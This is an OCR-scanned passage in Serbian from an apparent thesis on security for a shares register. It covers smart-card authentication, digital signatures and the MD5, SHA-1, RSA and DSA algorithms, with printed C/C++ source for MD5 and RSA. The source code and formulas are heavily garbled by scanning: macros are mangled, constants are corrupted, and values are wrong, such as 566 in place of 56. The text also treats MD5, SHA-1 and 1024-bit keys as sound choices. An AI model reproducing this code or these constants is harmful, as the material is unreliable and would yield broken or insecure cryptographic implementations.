procesu upisivanja lozinke) posedovati i samu smart Kkarticu, Sto predstavlja dodatni
bezbednosni mehanizam u procesu autentifikacije korisnika. Pored toga, u konceptu
sistema zaStite Registra akcija i akcionara, smart kartica se Kkoristi i za generisanje
digitalnog potpisa, kao 1 asimetri¢nih kljuc¢eva, koji su bezbedni nosioci neophodnih
kriptografskih parametara i elemenata za pouzdanu identifikaciju ovlas¢enih korisnika
Registra.

Postoje i savremeni sistemi koji ukljucuju kombinovana reSenja, koja se sastoje od
koriS¢enja smart kartica 1 odredenih biometrijskih parametara (kao Sto su otisak prsta,
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konfiguracija zenice oka, karakteristike glasa, i slicno), koji su fizicki vezani za
svakog korisnika posebno.

U okviru Registra, iz razloga rasprostranjenosti koriS¢enje smart kartica, kartice
koriste svi ovlas¢eni korisnici informacionog sistema. U cilju dodatne zastite, mogla
bi se, eventualno, koristiti kombinacija smart kartica sa nekim od biometrijskih
postupaka u okviru rada Sertifikacionog tela PKI sistema Registra. U cilju pojacanja
zaStite funkcije autentifikacije korisnika, primenjuje se originalna procedura
identifikacije korisnika koja predstavlja proceduru tipa ,,jake* autentifikacije koja se
bazira na koris¢enju smart kartica i specifiéne kriptografske metode kombinacije
korisni¢kog imena i lozinke.

Procedura ,,jake autentifikacije omogucava ovlas¢enom korisniku pristup resursima
Registra i koriS¢enje odredenih aplikacija i servisa koji su na raspolaganju. U
okviru politike zastite definisana su ograni¢enja u koris¢enju odredenih aplikacija
i servisa informacionog sistema za pojedine korisnike. U okviru Registra je
predvideno generisanje razli¢itih tipova smart kartica za korisnike sa razli¢itim
ovlaséenjima. U standardnoj komunikaciji sa karticom koja se postavi u citac,
korisnik treba da unese odgovaraju¢i PIN kod da bi mogao da pristupi parametrima
koji su smesteni u zaSticenoj memoriji kartice. Obzirom da se PIN kod smart kartice
sastoji od 8 ASCII karaktera, u sistemu zasStite Registra je implementirana originalna
procedura ,,jake” autentifikacije korisnika. Ona se sastoji iz slede¢ih faza :

1. Unos korisnickog imena i lozinke koja moze biti proizvoljne duZzine (iz
prakti¢nih razloga se ne savetuje da lozinka bude duza od 16 karaktera)

2. Primena jednosmerne kriptografske transformacije na unete podatke

3. Izracunavanje PIN koda na osnovu rezultata transformacije

4. Pristup zaSti¢enim podacima na smart kartici uz pomoc izracunatog PIN
koda i uz deSifrovanje zaSti¢enih podataka u skladu sa kriterijumima
definisanim  medunarodnim  standardima za  procenu kvaliteta
kriptografskih proizvoda FIPS 140-1 nivo 3 i ITSEC nivo 3.

4.3.2 ODJAVA KORISNIKA

Funkcija bezbednog prekida kriptografskog rada (sign off) namenjena je za
bezbedno ukidanje tekucéeg kriptogtafskog konteksta, u cilju spre¢avanja moguéih
zloupotreba aktiviranih kriptografskih aplikacija ili servisa od strane neovlas¢enih
korisnika. Nakon zavrSenog operativnog rada sa datom kriptografskom aplikacijom
ili servisom, koji je zahtevao upotrebu kriptografskih API funkcija, ukida se tekuci
kriptografski kontekst primenom funkcije odjave korisnika, da pokrenutu aplikaciju
ili servis ne bi koristio neovlaséeni korisnik.
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Nakon odjave korisnika, za ponovno pokretanje kriptografskih aplikacija potrebno
je izvrsiti ponovnu prijavu na sistem, odnosno autentifikaciju korisnika primenom
procedure opisane u prethodnom poglavlju.

4.3.3 DIGITALNI POTPIS

Tehnologija digitalnog potpisa ¢e detaljno biti razradena u jednom od narednih
poglavlja. U ovom poglavlju ¢e biti razmotrena tehnologija koja se bazira na
asimetricnim kriptografskim algoritmima kojom se realizuju sledece funkcije u
okviru zastite sistema Registra :

- Provera autenti¢nosti subjekata u komunikaciji,

- Zastita integriteta podataka koji se prenose kroz mrezu,

- Nemogucénost naknadnog poricanja sadrZaja poslatih podataka od strane
ucesnika u komunikaciji.

Ove funkcije su od izuzetnog znacaja za sve aplikacije koje zahtevaju medusobnu
proveru autenti¢nosti strana u komunikaciji, kao i zaStitu integriteta podataka koji se
prenose kroz sistem. Funkcije se realizuju zahvaljujuéi €injenici da su primenjeni
kriptografski algoritmi asimetri¢ni, odnosno da su kljucevi za Sifrovanje i1 deSifrovanje
razli¢iti.

Pomenuta funkcija, digital signature, predstavlja jedinstven nacin na koji se odredeni
podaci ili odredena standardizovana poruka, pred slanje drugom korisniku Registra,
kriptografski obeleZavaju potpisnikovim licnim podacima 1 $titi njihov integritet.

Pre prelaska na dalji opis tehnologije digitalnog potpisa bie objasnjen pojam hash
funkcije. Primec¢eno je da PKI sistemi, kao i sistemi za digitalni potpis mogu biti
veoma spori. Takode, u nekim slu¢ajevima, duzina digitalnog potpisa moze biti veca
ili jednaka duzini same poruke koja se potpisuje, Sto je neracionalno. Za reSavanje
ovih problema koriste se hash funkcije. Hash funkcija je izraCunljiva funkcija koja
primenjena na poruku m promenljive duzine daje njenu reprezentaciju ili kako se jos
naziva otisak, fiksne duzine koja se naziva njenom hash vrednoséu H(m) = m’. U
opstem slu¢aju H(m) je mnogo manjih dimezija od m. Na primer m moze imati duzinu
od 1MB dok H(m) moze imati duzinu svega 128 bita. Jednosmerna hash funkcija je
hash funkcija H definisana tako da da je za svaku kompromitovanu poruku m’ teSko
rekonstruisati poruku m za koju m’ vazi. Ako je hash funkcija jednosmerna, odnosno
komplikovana za invertovanje, naziva se josS i rezime funkcijom ili Message-digest
funkcijom. U tom slucaju se vrednost m’ naziva rezimeom m ili otiskom poruke m.

Matematicki posmatrano, postupak se principijelno sastoji iz dva koraka.

U prvom koraku se, primenom hash funkcije izracunava hash vrednost, a zatim se u
drugom koraku ova hash vrednost Sifruje asimetri¢nim kriptografskim algoritmom,
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na bazi tajnog kljuéa potpisnika. Dobijena Sifrovana vrednost predstavlja digitalni
potpis datih podataka ili poruke.

Za dobijanje hash funkcije moZe se koristiti koristiti viSe razliitih, u literaturi
poznatih algoritama, od kojih su najviSe koris¢eni MD5 i SHA-1 algoritmi koji ¢e
detaljnije biti opisani u daljem delu teksta :

MD5 Algoritam

MD?5 algoritam procesira ulaznu poruku u blokovima od 512 bita podeljenim u 16
podblokova od po 32 bita. Najpre se poruka proSiruje na naéin da se dobije poruka
koja je po duzini za 64 bita kraca od odgovaraju¢eg multipla od 512 bita.
Prosirivanje se izvodi tako Sto se na kraju poruke doda jedan bit koji je jedinica, a
zatim se dodaje zahtevani broj nula. Nakon toga se 64-bitna reprezentacija duzine
poruke prikljuci rezultatu. Izlaz iz algoritma predstavlja skup od Cetiri 32-bitna bloka
koji su spojeni tako da jednozna¢no formiraju 128-bitnu hash vrednost.

Algoritam se sastoji iz slede¢ih koraka [36] :

- Prvo se obradi poruka tako da je njena duzina multipl od 512 bita,

- Zatim se inicijalizuju Cetiri 32-bitne promenljive, koje se nazivaju jos i
promenljivima ulan¢avanja :

A=0x01234567
B=0x89abcdef
C=0xfedcba98
D=0x76543210

- Nakon toga zapoc€inje glavna petlja algoritma koja se izvrSava za sve blokove
duzine 512 bita date poruke.

- Cetiri inicijalne promenljive se kopiraju u nove promenljive a, b, ¢ i d.

- Glavna petlja se sastoji iz Cetiri koraka koje su medusobno veoma sli¢ne. U
svakom svakom koraku koriste se razliCitue operacije 16 puta. Svaka
operacija se sastoji od primene definisane nelinearne funkcije nad tri od Cetiri
promenljive a, b, c ili d. Zatim se tako dobijeni rezultat dodaje Cetvrtoj
promenljivoj, podbloku poruke i definisanoj konstanti. Dobijeni rezultat se
rotira sa leva u desno za promenljivi broj bita i dodaje se jednoj od Cetiri
promenljive a, b, cili d.

- Nakraju rezultat zamenjuje jednu od promenljivih a, b, c ili d.

Opisani postupak je prikazan na sledecoj slici :
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Slika 4.7 Sematski prikaz glavne petlje MD5 algoritma

Postoje cetiri nelinearne funkcije od kojih se po jedna koristi u svakoj operaciji
odnosno fazi :

F(X,Y,Z) = (X AND Y) OR ((NOT X) AND Z)
G(X,Y,Z) = (X AND Z) OR (Y AND (NOT 2)
H(X,Y,Z) = X XOR Y XOR Z

I(X,Y,Z) = Y XOR (X OR (NOT Z))

Ukoliko Mj predstavlja j-ti podblok poruke, j =0, ..., 15, a <<< s predstavlja
funkciju cirkularnog pomeranja za s bita, tada se pomenute Cetiri operacije mogu
predstaviti na slede¢i nadin :

FF(a,b,c,d,M;,s, 1) oznacava:a=Db + ((@+ F(b,c,d) + M, + t) <<<5)
GG(a,b,c,d, M s, ) oznaCava:a=Db+ ((a+ G(b,c,d) + M; + t) <<<¥)
HH(a,b,c,d, M, s, t;) oznacava:a=b+ (@ + H(b,c,d) + M+ t) <<<s)
ll(a,b,c,d, M;,s, t;) oznacava:a=b+ ((@a+I(b,c,d) + M, + t;) <<<5)

Nakon prethodno opisanog postupka, a, b, ¢ i d se dodaju na A, B, C i D,
respektivno, i algoritam nastavlja sa narednim blokom podataka. Krajnji rezultat se
formira konkatenacijom dobijenih A, B, C i D vrednosti.

Opisani postupak je prikazan na sledecoj slici :
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Slika 4.8 Sematski prikaz zavrinog dela MD5 algoritma

U narednom delu izlaganja je prikazan izvorni kod za realizaciju MD5 algoritma.
Pisan je u C++ programskom jeziku :

/* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
*/

#include ""global.h"
#include "md5.h"

/* Constants for MD5Transform routine.
*/
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21

static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
static void Encode PROTO_LIST

((unsigned char *, UINT4 *, unsigned int));
static void Decode PROTO_LIST

((UINT4 *, unsigned char *, unsigned int));
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));

73



static unsigned char PADDING[64] = {
oxso, o, o, 0, 0, 0, 0, 0, 0, 0, 0, 0, O, O, O, O, O, O, O, O, O, O,
o, o, 0, o, 0, 0, 0, 0, 0, O, O, O, O, O, O, O, O, O, O, O, O, O, O,
o, o, 0, 0, 0, 0, 0, O, O, 0, 0, O, O, O, O, 0, 0, 0,0

};

/* F, G, H and 1 are basic MD5 functions.
*/

#define F(x, y, z2) (((X) & (¥)) | ((=X) & (2)))
#define G(x, y, 2) (() & @) | () & (-2)))
#define H(X, v, 2) ((X) ~ (V) ™ (D))

#define I(X, v, 2) () * () | -2)))

/* ROTATE_LEFT rotates x left n bits.
*
/
#define ROTATE_LEFT(x, n) (((X) << (M) | () >> (32-(n))))

/* FF, GG, HH, and 1l transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.

*/
#define FF(a, b, c, d, x, s, ac) { \

@) += F ((b), (c), (@) + () + (UINT4)(ac); \

(a) = ROTATE_LEFT (@), ()): \

@) += (b); \

3

#define GG(a, b, c, d, x, s, ac) { \
@) += G ((b), (c), (@) + ) + (UINT4)(ac); \
(a) = ROTATE_LEFT (@), ()): \
@) += (b); \
s

#define HH(a, b, c, d, x, s, ac) { \
(@) +=H ((b), (c), (@) + ) + (UINT4)(ac); \
(a) = ROTATE_LEFT (@), ()): \
@) += (b); \
s

#define 11(a, b, c, d, x, s, ac) { \
@ +=1 (D), (), (@) + ) + (UINT4)(ac); \
(a) = ROTATE_LEFT (@), ()): \
@) += (b); \
3

/* MD5 initialization. Begins an MD5 operation, writing a new context.
*/
void MD5Init (context)
MD5_CTX *context; /* context */
{
context->count[0] = context->count[1l] = O;
/* Load magic initialization constants.
*/

context->state[0] = 0x67452301;
context->state[1] = Oxefcdab89;
context->state[2] = Ox98badcfe;
context->state[3] = 0x10325476;

}

/* MD5 block update operation. Continues an MD5 message-digest
operation, processing another message block, and updating the
context.

*/
void MD5Update (context, input, inputLen)
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MD5_CTX *context; /* context */

unsigned char *input; /* input block */
unsigned int inputlLen; /* length of input block */
{

unsigned iInt i, index, partLen;

/* Compute number of bytes mod 64 */
index = (unsigned int)((context->count[0] >> 3) & Ox3F);

/* Update number of bits */

if ((context->count[0] += ((UINT4)inputLen << 3))
< ((UINT4)inputLen << 3))

context->count[1]++;

context->count[1] += ((UINT4)inputLen >> 29);

partLen = 64 - index;

/* Transform as many times as possible.
*/
if (inputLen >= partLen) {
MD5_memcpy
((POINTER)&context->buffer[index], (POINTER)input, partLen);
MD5Transform (context->state, context->buffer);

for (i = partLen; i + 63 < inputlLen; i1 += 64)
MD5Transform (context->state, &input[i]);

index = 0;
else
i =0;

/* Buffer remaining input */
MD5_memcpy
((POINTER)&context->buffer[index], (POINTER)&input[i],
inputLen-i);
}

/* MD5 finalization. Ends an MD5 message-digest operation, writing the
the message digest and zeroizing the context.

*/
void MD5Final (digest, context)

unsigned char digest[16]; /* message digest */
MD5_CTX *context; /* context */
{

unsigned char bits[8];
unsigned int index, padlLen;

/* Save number of bits */
Encode (bits, context->count, 8);

/* Pad out to 56 mod 64.

*/
index = (unsigned int)((context->count[0] >> 3) & 0x3f);
padLen = (index < 56) ? (566 - index) : (120 - index);
MD5Update (context, PADDING, padLen);

/* Append length (before padding) */

MD5Update (context, bits, 8);
/* Store state in digest */
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Encode (digest, context->state, 16);

/* Zeroize sensitive information.
*/

MD5_memset ((POINTER)context, 0, sizeof (*context));
}

/* MD5 basic transformation. Transforms state based on block.
*/

static void MD5Transform (state, block)

UINT4 state[4];

unsigned char block[64];

{
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
Decode (x, block, 64);
/* Round 1 */
FF (a, b, c, d, x[ 0], S11, Oxd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, Oxclbdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, Oxf57cOfaf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44fraf); /* 10 */
FF (c, d, a, b, x[10], S13, Oxffffsbbl); /* 11 */
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
/* Round 2 */
GG (a, b, ¢, d, x[ 1], S21, Oxf6le2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, ¢, d, x[ 5], S21, Oxd62f105d); /* 21 */
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[15], S23, O0xdBale681l); /* 23 */
GG (b, c, d, a, X[ 4], S24, Oxe7d3fbc8); /* 24 */
GG (a, b, ¢, d, x[ 9], S21, Ox2lelcde6); /* 25 */
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, X[ 8], S24, 0x455al4ed); /* 28 */
GG (a, b, ¢, d, x[13], S21, 0xa9%e3e905); /* 29 */
GG (d, a, b, c, X[ 2], S22, Oxfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[12], S24, 0x8d2a4cB8a); /* 32 */

/* Round 3 */

HH (a, b, c, d, x[ 5], S31, Oxfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, Oxadbeeadd); /* 37 */
HH (d, a, b, c, x[ 4], S32, Ox4bdecfa9); /* 38 */
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HH (c, d, a, b, x[ 7], S33, Oxf6bb4b60); /* 39 */
HH (b, c, d, a, x[10], S34, Oxbebfbc70); /* 40 */
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, Oxeaal27fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[15], S33, Ox1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, Oxcd4ac5665); /* 48 */

/* Round 4 */

Il (a, b, c, d, x[ 0], S41, 0xFf4292244); /* 49 */
It (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
Il (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
It (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
11 (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
11 (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
Il (c, d, a, b, x[10], S43, Oxffeff47d); /* 55 */
11 (b, c, d, a, x[ 1], S44, 0x85845ddl); /* 56 */
11 (a, b, c, d, x[ 8], S41, Ox6fa87e4f); /* 57 */
11 (d, a, b, c, x[15], S42, Oxfe2ce6e0); /* 58 */
Il (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
11 (b, c, d, a, x[13], S44, 0x4e08llal); /* 60 */
11 (a, b, c, d, x[ 4], S41, Oxf7537e82); /* 61 */
11 (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
Il (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
11 (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
state[0] += a;

state[1] += b;

state[2] += c;

state[3] += d;

/* Zeroize sensitive information.
*/

MD5_memset ((POINTER)x, 0, sizeof (xX));
3

/* Encodes input (UINT4) into output (unsigned char). Assumes len is
a multiple of 4.

*/

static void Encode (output, input, len)

unsigned char *output;

UINT4 *input;

unsigned int len;

{

unsigned iInt i, j;

for (i =0, J =0; j <len; i++y, j += 4) {

output[j] = (unsigned char)(input[i] & OxffF);
output[j+1] = (unsigned char)((input[i] >> 8) & OxffF);
output[j+2] = (unsigned char)((input[i] >> 16) & Oxff);
output[j+3] = (unsigned char)((input[i] >> 24) & Oxff);
}

}

/* Decodes input (unsigned char) into output (UINT4). Assumes len is
a multiple of 4.
*/
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static void Decode (output, input, len)
UINT4 *output;

unsigned char *input;

unsigned int len;

{

unsigned iInt i, j;

for (i =0, j =0; j < len; i++, j += 4)

output[i] = (WINTA)input[j]) | ((WINTA)input[j+1]) << 8) |
(CUINTA)input[j+2]) << 16) | ((INTA)input[j+3]) << 24);

/* Note: Replace "for loop"™ with standard memcpy if possible.
*/

static void MD5_memcpy (output, input, len)
POINTER output;

POINTER input;

unsigned int len;

{

unsigned iInt i;

for (i

:0;
output[i] =

i < len; i++)
input[i];

/* Note: Replace "for loop"™ with standard memset if possible.
*/

static void MD5_memset (output, value, len)

POINTER output;

int value;

unsigned int len;

{

unsigned iInt i;

for (i =0; i < len; i++)

((char *)output)[i] = (char)value;
3

SHA-1 Algoritam

SHA-1 algoritam, kao i MD5 algoritam procesira ulaznu poruku u blokovima od 512
bita, podeljenim u 16 podblokova duzine 32 bita. Poruka se proSiruje na isti nacin
kao i kod primene MD5 algoritma, tako da se dobija poruka koja je po duzini ta¢no
64 bita kraca od odgovaraju¢eg multipla od 512 bita. Na kraj poruke se doda jedan
bit koji je jedinica, a koji je pracen zahtevanim brojem nula. Zatim se 64-bitna
reprezentacija duzine poruke prikljucuje rezultatu. Izlaz algoritma predstavlja skup
od pet 32-bitnih blokova spojenih tako da jednozna¢no formiraju 160-bitnu hash
vrednsot.

Algoritam se sastoji od sledecih koraka :
- Prvo se obradi poruka tako da je njena duzina tacno multipl od 512 bita.

- Zatim se inicijalizuje pet 32-bitnih promenljivih ili promenljivih ulanéavanja :
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A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476
E=0xc3d2elf0

- Zatim pocinje glavna petlja algoritma koja se izvrSava za sve blokove duzine
512 bita date poruke.

- Petinicijalnih promenljivih se kopira u promenljive a, b, c, d i e.

- Glavna petlja se sastoji od Cetiri faze koje su veoma sli¢ne. Svaka faza koristi
razli¢itu operaciju 20 puta. Svaka operacija se sastoji od primene odredene
nelinearne funkcije nad tri od pet promenljivih a, b, c, d ili e. Zatim se tako
dobijeni rezultat procesira analogno kao u algoritmu MD5.

- Blok poruka se transformiSe u Sesnaest 32-bitnih reé¢i (M,, .., My) u

osamdeset 32-bitnih reci (W,, ..., W,,) na slede¢i nacin :

W, =M, zat=0 o 15

W,=(W,® W, ®W,, ®DW_,)<<<1l,zat=16 g0 79
- Dok se glavna petlja moze opisati na slede¢i nacin :

Zat=0 no 79
TEMP = (a<<<5) + F(b,c,d) +e + W, + K,
e=d
d=c
¢ = b<<<30
b=a
a=TEMP

Takode, kao asimetri¢ni kriptografski algoritmi mogu se koristiti razli€iti postojeci
algoritmi od kojih se najviSe koriste RSA (Rivest, Shamir, Addleman), DSA (Digital
Signature Algorithm) i ECDSA (Elliptic Curve DSA) algoritmi. U narednom delu
teksta ¢e biti dat detaljniji opis osnovnih postavki RSA algoritama, kao jednog od
najvise koriscenih :

RSA Algoritam

Godine 1983. Rivest, Shamir u Adleman su patentirali Sifarski sistem sa javnim
klju¢evima poznat pod imenom RSA algoritam [37].

Svaki korisnik izabere dva prosta broja, za koja se preporucuje da ti brojevi imaju vise
od 200 cifara, pigiracunan=peq atakode se raCunai ¢ =(p-1)*(q-1).

Nakon toga se bira slu¢ajan ceo broj e, koji predstavlja klju¢ za Sifrovanje. Pri tom

mora biti zadovoljen uslov da je 1 < e < ¢ . Pored toga mora biti zadovoljen uslov da
su e i ¢ uzajamno prosti, §to znaci da je NZD (e, ¢ ) = 1.
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Na kraju se izracunava klju¢ za desifrovanje d, ili tajni klju¢ na sledeci nacin :
eed=1 (mod ¢ )odnosnod =e* (mod ¢ )
Cime je RSA algoritam zavrsen.

U narednom delu izlaganja ¢e biti prikazan izvorni kod za realizaciju RSA algoritma
pisan u C++ programskom jeziku :

#include "rsa.hpp"

class prime_factory
{
unsigned np;
unsigned *pl;
public:
prime_factory(Q);
~prime_factory();
vlong find _prime( vlong & start );

}:
// prime factory implementation

static int is_probable_prime( const vlong &p )
{
// Test based on Fermats theorem a**(p-1) = 1 mod p for prime p
// For 1000 bit numbers this can take quite a while
const rep = 4;
const unsigned any[rep] = { 2,3,5,7 };
for ( unsigned i=0; i<rep; i+=1 )
if ( modexp( any[i], p-1, p ) '=1)
return O;
return 1;

}

prime_factory::prime_factory()
{

np = 0;

unsigned NP = 200;

pl = new unsigned[NP];

// Initialise pl

unsigned SS = 8*NP; // Rough estimate to fill pl

char * b = new char[SS+1]; // one extra to stop search
for (unsigned i=0;i<=SS;i+=1) b[i] = 1;

unsigned p = 2;

while (1)

{

// skip composites

while ( b[p] == 0 ) p += 1;
if ( p == SS ) break;
plLnp] = p;

np += 1;

if ( np == NP ) break;

// cross off multiples
unsigned c = p*2;
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while ( ¢ < SS)

b[c] = 0;
c += p;

}
p += 1;

}
delete [] b;
}

prime_factory::~prime_factory()

delete [] pl;
}

vlong prime_factory::find_prime( vlong & start )

unsigned SS = 1000; // should be enough unless we are unlucky
char * b = new char[SS]; // bitset of candidate primes
unsigned tested = 0;

while (1)

{

unsigned 1i;

for (i=0;i<SS;i+=1)
b[i] = 1;

for (i=0;i<np;i+=1)

{
unsigned p pl[i];
unsigned r = start % p; // not as fast as it should be - could do
with special routine
if)r=p-r;
// cross off multiples of p
while ( r < SS)

b[r] = 0;
r += p;
3
¥
// now test candidates
for (i=0;i<SS;i+=1)

if ( b[i] )
{

tested += 1;
if ( is_probable_prime(start) )
return start;

start += 1;

}

}
delete [] b;
}

static vlong from_str( const char * s )

{
vlong x = 0;
while (*s)

X = X * 256 + (unsigned char)*s;
s += 1;
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}
return Xx;
3

void private_key::create( const char * rl, const char * r2 )

// Choose primes

{
prime_factory pf;
p = pf.find_prime( from_str(rl) );
q = pF.find_prime( from_str(r2) );
}if(p>q){vlongtmp p: P =0; q = tmp; }
// Calculate public key
{
= p*q;
= 50001; // must be odd since p-1 and g-1 are even
hile ( gcd(p-1,e) =1 || gcd(g-1,e) =1 ) e += 2;
}
}
vlong public_key::encrypt( const vlong& plain )
{
return modexp( plain, e, m );
}
vlong private_key::decrypt( const vlong& cipher )
{

// Calculate values for performing decryption
// These could be cached, but the calculation is quite fast

vlong d = modinv( e, (p-1)*(g-1) );
vlong u = modinv( p, q );

vlong dp = d % (p-1);

vlong dg = d % (g-1);

// Apply chinese remainder theorem
vlong a = modexp( cipher % p, dp, p );
vlong b = modexp( cipher % q, dqgq, q );
if (b<a)b+=q;

return a + p * ( ((b-a)*u) % q );

}

Za realizaciju ove funkcije moguce su dve opcije : koriS¢enje gotovih - stranih reSenja
ili realizacija sopstvenog reSenja pod punom kontrolom korisnika koje se moze
verifikovati na nivou izvornog koda. Sa stanovista bezbednosti, a imaju¢i u vidu
karakter Registra primenjena su sopstvena resenja iz dva razloga. Prvi razlog lezi u
¢injenici da je sopstveno reSenje moguce verifikovati na nivou izvornog koda, a drugi
razlog je fleksibilnost domaceg reSenja sa stanoviSta kasnije ugradnje odgovarajucih
algoritama po izboru. U pocetnoj fazi je koriS¢eno sopstveno realizovano reSenje
na bazi standardizovanih asimetri¢nih kriptografskih i hash algoritama. Kasnije su
realizovani novi algoritmi, koji su prethodno potvrdeni u praksi kao i domaca

reSenja u ovoj klasi algoritama. Iz razloga bezbednosti koriste se asimetri¢ni kljucevi
duzine 1024 bita.
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Sto se ti¢e sistema za upravljanje parom asimetri¢nih kljuéeva, javnim i tajnim, a
imajudi u vidu da su to podaci koji su kriptografski vezani za identitet korisnika,
pomenuti kljucevi se smeStaju na bezbednom nosiocu liénith kriptografskih
parametara. U slu¢aju Registra akcija i akcionara, to su smart kartice ovlas¢enih
korisnika Registra.

4.3.4 VERIFIKACIJA DIGITALNOG POTPISA

Funkcijom verifikacije digitalnog potpisa odredene poruke proverava se autenticnosti
potpisnika, integritet podataka sadrzanih u poruci i onemoguéava se naknadno
poricanje potpisnika da je datu poruku poslao. Funkcija verifikacije digitalnog potpisa
- verify, predstavlja kriptografski inverznu funkciju u odnosu na funkciju digitalnog
potpisa i sastoji se od tri koraka.

Prvi korak predstavlja deSifrovanje digitalnog potpisa date poruke primenom
identi¢nog asimetric¢inog kriptografskog algoritma koji je kori§¢en pri potpisu, ali na
bazi javnog kljuca potpisnika ¢ime se dobija deSifrovana hash vrednost formirana u
proceduri potpisivanja.

Drugi korak predstavlja identi¢nu proceduru primene hash funkcije nad dobijenim
podacima za dobijanje nove hash vrednosti, primenom identicnog hash algoritma,
kao i pri potpisivanju poruke.

Treci korak se sastoji u uporedivanju desifrovane i nove hash vrednosti. Ako su
pomenute vrednosti iste, verifikacija je uspela, u protivnom nije. UspeSnom
funkcijom verifikacije digitalnog potpisa, verifikator je siguran u :

- Autenti¢nost posaljaoca date poruke,
- Integritet podataka koji su dobijeni,
- Da posiljalac ne moze naknadno poreci da je poslao datu poruku.

U daljem delu teksta je data ilustracija opisanih procedura putem opisa DSA
algoritma i to u smislu :

- generisanja kljuceva,
- generisanja potpisa i
- verifikacije potpisa

1. DSA Generisanje kljuceva
Pretpostavimo da u komunikaciji komuniciraju u€esnici A 1 B.
Strana A u komunikaciji izvr$ava sledece :

- lIzbor prostog broja q takvog da je 2**< q < 2
- lzbor 1024 bitnog prostog broja p sa osobinom da je g|p-1
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- lzbor elementa h € Zp* i izratunavanje g= h®™®’% mod p. Izraunavanje se
ponavlja sve dok ne bude ispunjen uslovdajeg = 1

- Izbor slucajnog celog broja x € [1, g-1]

- IzraCunavanje y =g*mod p

- Javni klju¢ ucesnika A je : (p,q,9,Y)

- Privatni klju¢ ucesnika A je : X

2. DSA Generisanje potpisa

U cilju digitalnog potpisivanja poruke m, ucesnik A izvrSava sledece postupke :
- Izbor slucajnog celog brojak € [1, g-1]
- Izracunavanje r = (g*mod p) mod q
- Izra¢unavanje k'mod q
- Izratunavanje s = k™ (h(m)+xr) mod q, gde h ozna¢ava SHA-1 hash vrednost
- Ako je s =0, vraca se na pocetni korak
- Digitalni potpis poruke m je uredeni par celih brojeva (r,s).

3. DSA Verifikacija potpisa

U cilju verifikacije digitalnog potpisa poruke m, ucesnik B izvrSava sledece
postupke:
- Uzima javni klju¢ A : (p,q.9.y)
- Izratunavanje w = s~‘mod q i h(m)
- Izracunavanje u,= h(m)wmod qi u,=rwmod q
- Izracunavanje v = (g" y* mod p) mod q
- Verifikacija digitalnog potpisa je uspela ako, i samo ako, jev =r.

4.3.5 SIFROVANJE

Za razliku od funkcija digitalnog potpisivanja i verifikacije, primenom funkcije
Sifrovanja se ostvaruje funkcija zastite tajnosti bezbednosno kriticnih podataka
na aplikativnom nivou koji se razmenjuju u okviru Registra akcija i akcionara. 1z
razloga bezbednosti, kao i iz prakti¢nih razloga, funkcija Sifrovanja - encrypt, se u
savremenim kriptografskim sistemima realizuje isklju¢ivo primenom simetri¢inih
kriptografskih algoritama. Simetri¢ni kriptografski sistemi podrazumevaju
identi¢nost kljuceva za Sifrovanje i deSifrovanje. U okviru sistema zaStite Registra
primenjeni su sopstveno realizovani simetriini Sifarski sistemi. Na taj nacin je
postignuta potpuna fleksibilnost i kontrolabilnost reSenja za ugradnju kako javnih
